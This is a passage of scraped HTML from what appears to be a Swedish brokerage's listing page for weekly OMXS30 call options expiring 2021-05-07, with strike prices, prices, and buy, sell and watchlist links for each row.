<td class="overview noSort">12,26</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209836" data-instrument_id="1212738"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209835"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209835/omxs301e07y2170"
title="Köp optioner i OMXS301E07Y2170"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209835/omxs301e07y2170"
title="Sälj optioner i OMXS301E07Y2170"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209835/omxs301e07y2170" class="link" title="OMXS301E07Y2170">
OMXS301E07Y2170</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 170,00</td>
<td class="overview noSort">12,82</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209835" data-instrument_id="1212737"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209834"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209834/omxs301e07y2175"
title="Köp optioner i OMXS301E07Y2175"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209834/omxs301e07y2175"
title="Sälj optioner i OMXS301E07Y2175"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209834/omxs301e07y2175" class="link" title="OMXS301E07Y2175">
OMXS301E07Y2175</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 175,00</td>
<td class="overview noSort">13,24</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209834" data-instrument_id="1212736"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209833"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209833/omxs301e07y2180"
title="Köp optioner i OMXS301E07Y2180"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209833/omxs301e07y2180"
title="Sälj optioner i OMXS301E07Y2180"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209833/omxs301e07y2180" class="link" title="OMXS301E07Y2180">
OMXS301E07Y2180</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 180,00</td>
<td class="overview noSort">15,02</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209833" data-instrument_id="1212735"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209832"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209832/omxs301e07y2185"
title="Köp optioner i OMXS301E07Y2185"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209832/omxs301e07y2185"
title="Sälj optioner i OMXS301E07Y2185"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209832/omxs301e07y2185" class="link" title="OMXS301E07Y2185">
OMXS301E07Y2185</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 185,00</td>
<td class="overview noSort">14,99</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209832" data-instrument_id="1212734"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209831"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209831/omxs301e07y2190"
title="Köp optioner i OMXS301E07Y2190"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209831/omxs301e07y2190"
title="Sälj optioner i OMXS301E07Y2190"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209831/omxs301e07y2190" class="link" title="OMXS301E07Y2190">
OMXS301E07Y2190</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 190,00</td>
<td class="overview noSort">16,74</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209831" data-instrument_id="1212733"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209830"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209830/omxs301e07y2195"
title="Köp optioner i OMXS301E07Y2195"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209830/omxs301e07y2195"
title="Sälj optioner i OMXS301E07Y2195"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209830/omxs301e07y2195" class="link" title="OMXS301E07Y2195">
OMXS301E07Y2195</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 195,00</td>
<td class="overview noSort">16,41</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209830" data-instrument_id="1212732"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209829"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209829/omxs301e07y2200"
title="Köp optioner i OMXS301E07Y2200"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209829/omxs301e07y2200"
title="Sälj optioner i OMXS301E07Y2200"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209829/omxs301e07y2200" class="link" title="OMXS301E07Y2200">
OMXS301E07Y2200</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 200,00</td>
<td class="overview noSort">17,56</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209829" data-instrument_id="1212731"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209828"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209828/omxs301e07y2205"
title="Köp optioner i OMXS301E07Y2205"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209828/omxs301e07y2205"
title="Sälj optioner i OMXS301E07Y2205"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209828/omxs301e07y2205" class="link" title="OMXS301E07Y2205">
OMXS301E07Y2205</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 205,00</td>
<td class="overview noSort">20,13</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209828" data-instrument_id="1212730"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209822"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209822/omxs301e07y2210"
title="Köp optioner i OMXS301E07Y2210"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209822/omxs301e07y2210"
title="Sälj optioner i OMXS301E07Y2210"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209822/omxs301e07y2210" class="link" title="OMXS301E07Y2210">
OMXS301E07Y2210</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 210,00</td>
<td class="overview noSort">11,43</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209822" data-instrument_id="1212724"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209817"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209817/omxs301e07y2215"
title="Köp optioner i OMXS301E07Y2215"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209817/omxs301e07y2215"
title="Sälj optioner i OMXS301E07Y2215"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209817/omxs301e07y2215" class="link" title="OMXS301E07Y2215">
OMXS301E07Y2215</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 215,00</td>
<td class="overview noSort">10,61</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209817" data-instrument_id="1212719"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209816"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209816/omxs301e07y2220"
title="Köp optioner i OMXS301E07Y2220"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209816/omxs301e07y2220"
title="Sälj optioner i OMXS301E07Y2220"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209816/omxs301e07y2220" class="link" title="OMXS301E07Y2220">
OMXS301E07Y2220</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 220,00</td>
<td class="overview noSort">11,32</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209816" data-instrument_id="1212718"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209815"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209815/omxs301e07y2225"
title="Köp optioner i OMXS301E07Y2225"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209815/omxs301e07y2225"
title="Sälj optioner i OMXS301E07Y2225"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209815/omxs301e07y2225" class="link" title="OMXS301E07Y2225">
OMXS301E07Y2225</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 225,00</td>
<td class="overview noSort">14,36</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209815" data-instrument_id="1212717"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209814"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209814/omxs301e07y2230"
title="Köp optioner i OMXS301E07Y2230"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209814/omxs301e07y2230"
title="Sälj optioner i OMXS301E07Y2230"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209814/omxs301e07y2230" class="link" title="OMXS301E07Y2230">
OMXS301E07Y2230</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 230,00</td>
<td class="overview noSort">13,33</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209814" data-instrument_id="1212716"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209813"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209813/omxs301e07y2235"
title="Köp optioner i OMXS301E07Y2235"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209813/omxs301e07y2235"
title="Sälj optioner i OMXS301E07Y2235"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209813/omxs301e07y2235" class="link" title="OMXS301E07Y2235">
OMXS301E07Y2235</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 235,00</td>
<td class="overview noSort">13,11</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209813" data-instrument_id="1212715"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209812"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209812/omxs301e07y2240"
title="Köp optioner i OMXS301E07Y2240"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209812/omxs301e07y2240"
title="Sälj optioner i OMXS301E07Y2240"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209812/omxs301e07y2240" class="link" title="OMXS301E07Y2240">
OMXS301E07Y2240</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 240,00</td>
<td class="overview noSort">17,02</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209812" data-instrument_id="1212714"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209811"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209811/omxs301e07y2245"
title="Köp optioner i OMXS301E07Y2245"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209811/omxs301e07y2245"
title="Sälj optioner i OMXS301E07Y2245"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209811/omxs301e07y2245" class="link" title="OMXS301E07Y2245">
OMXS301E07Y2245</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 245,00</td>
<td class="overview noSort">29,69</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209811" data-instrument_id="1212713"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209810"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209810/omxs301e07y2250"
title="Köp optioner i OMXS301E07Y2250"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209810/omxs301e07y2250"
title="Sälj optioner i OMXS301E07Y2250"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209810/omxs301e07y2250" class="link" title="OMXS301E07Y2250">
OMXS301E07Y2250</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 250,00</td>
<td class="overview noSort">39,37</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209810" data-instrument_id="1212712"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209809"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209809/omxs301e07y2255"
title="Köp optioner i OMXS301E07Y2255"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209809/omxs301e07y2255"
title="Sälj optioner i OMXS301E07Y2255"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209809/omxs301e07y2255" class="link" title="OMXS301E07Y2255">
OMXS301E07Y2255</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 255,00</td>
<td class="overview noSort">21,47</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209809" data-instrument_id="1212711"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209808"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209808/omxs301e07y2260"
title="Köp optioner i OMXS301E07Y2260"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209808/omxs301e07y2260"
title="Sälj optioner i OMXS301E07Y2260"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209808/omxs301e07y2260" class="link" title="OMXS301E07Y2260">
OMXS301E07Y2260</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 260,00</td>
<td class="overview noSort">32,79</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209808" data-instrument_id="1212710"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209807"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209807/omxs301e07y2265"
title="Köp optioner i OMXS301E07Y2265"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209807/omxs301e07y2265"
title="Sälj optioner i OMXS301E07Y2265"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209807/omxs301e07y2265" class="link" title="OMXS301E07Y2265">
OMXS301E07Y2265</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 265,00</td>
<td class="overview noSort">41,03</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209807" data-instrument_id="1212709"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209806"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209806/omxs301e07y2270"
title="Köp optioner i OMXS301E07Y2270"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209806/omxs301e07y2270"
title="Sälj optioner i OMXS301E07Y2270"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209806/omxs301e07y2270" class="link" title="OMXS301E07Y2270">
OMXS301E07Y2270</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 270,00</td>
<td class="overview noSort">28,57</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
